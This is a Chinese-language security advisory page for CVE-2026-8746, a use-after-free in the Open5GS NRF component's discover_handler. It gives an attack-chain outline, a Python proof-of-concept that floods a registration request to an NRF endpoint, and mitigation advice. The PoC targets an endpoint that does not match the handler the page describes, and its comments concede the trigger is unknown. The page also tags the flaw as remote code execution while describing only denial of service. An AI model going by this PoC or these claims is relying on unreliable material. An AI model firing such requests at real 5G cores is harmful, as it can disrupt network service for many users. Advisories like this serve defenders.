IPBUF安全漏洞报告
English
CVE-2026-8746 CVSS 4.3 中危

CVE-2026-8746 Open5GS NRF组件释放后重用漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8746
漏洞类型
释放后重用 (UAF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

UAFOpen5GS5G远程代码执行拒绝服务NRF

漏洞概述

Open5GS 是一个广泛使用的开源 5G 核心网实现。在其 2.7.7 及更早版本中,NRF(网络存储库功能)组件存在严重的安全缺陷。该漏洞位于 `/lib/sbi/nghttp2-server.c` 文件的 `discover_handler` 函数内,源于对内存管理的错误处理导致了释放后重用(UAF)问题。远程攻击者可利用此漏洞,无需用户交互即可发起攻击,导致目标服务崩溃或异常,直接影响 5G 网络核心组件的可用性。

技术细节

该漏洞的根源在于 Open5GS NRF 组件处理 SBI 请求时的逻辑错误。具体而言,在 `/lib/sbi/nghttp2-server.c` 的 `discover_handler` 函数中,代码在处理网络发现请求时,未能妥善维护对象的生命周期。当特定的数据包序列到达时,程序可能提前释放了某个关键数据结构所占用的内存,但随后的代码逻辑又尝试对该内存地址进行读写操作,从而触发了典型的释放后重用(UAF)漏洞。由于攻击向量为网络(AV:N),且不需要用户交互(UI:N),攻击者只需具备低权限(PR:L)即可远程发送特制的数据包。成功利用该漏洞将导致 NRF 服务进程崩溃,造成拒绝服务,进而影响整个 5G 核心网的正常注册和发现功能。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别开放的 Open5GS NRF 服务端口(通常基于 HTTP/HTTPS)。
STEP 2
2. 恶意请求构造
攻击者编写脚本,构造特定的 SBI 发现请求消息,旨在触发 `discover_handler` 函数中的内存管理错误。
STEP 3
3. 漏洞利用
攻击者通过网络向目标 NRF 组件发送特制的数据包,利用释放后重用缺陷。
STEP 4
4. 拒绝服务
由于访问了已释放的内存,Open5GS NRF 进程崩溃,导致 5G 核心网服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for Open5GS NRF UAF Vulnerability (CVE-2026-8746) # This script demonstrates sending a malformed request to trigger the UAF in discover_handler. import requests def trigger_uaf(target_ip, target_port): target_url = f"http://{target_ip}:{target_port}/nnrf-nfm/v1/nf-instances" # Malformed payload designed to disrupt memory handling in discover_handler # Note: Actual trigger conditions may require specific NF types or message sequences malformed_headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8746-PoC" } payload = { "nfInstanceId": "manipulated-id-12345", "nfType": "AMF", "nfStatus": "REGISTERED", # Additional fields might be needed to specifically hit the freed memory path "customData": "A" * 1000 } try: print(f"[*] Attempting to trigger UAF at {target_url}") response = requests.post(target_url, json=payload, headers=malformed_headers, timeout=5) print(f"[+] Request sent. Status Code: {response.status_code}") print("[*] Check the Open5GS NRF service logs for crashes.") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Replace with actual target details trigger_uaf("127.0.0.1", 7777)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
在官方发布补丁之前,建议采取网络分段措施,严格限制对 Open5GS NRF 组件 API 端口的访问权限,确保仅受信任的网络功能实体可以连接。同时,应密切监控 NRF 进程的运行状态和日志,一旦发现异常崩溃或重启,应及时排查并隔离受影响的节点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表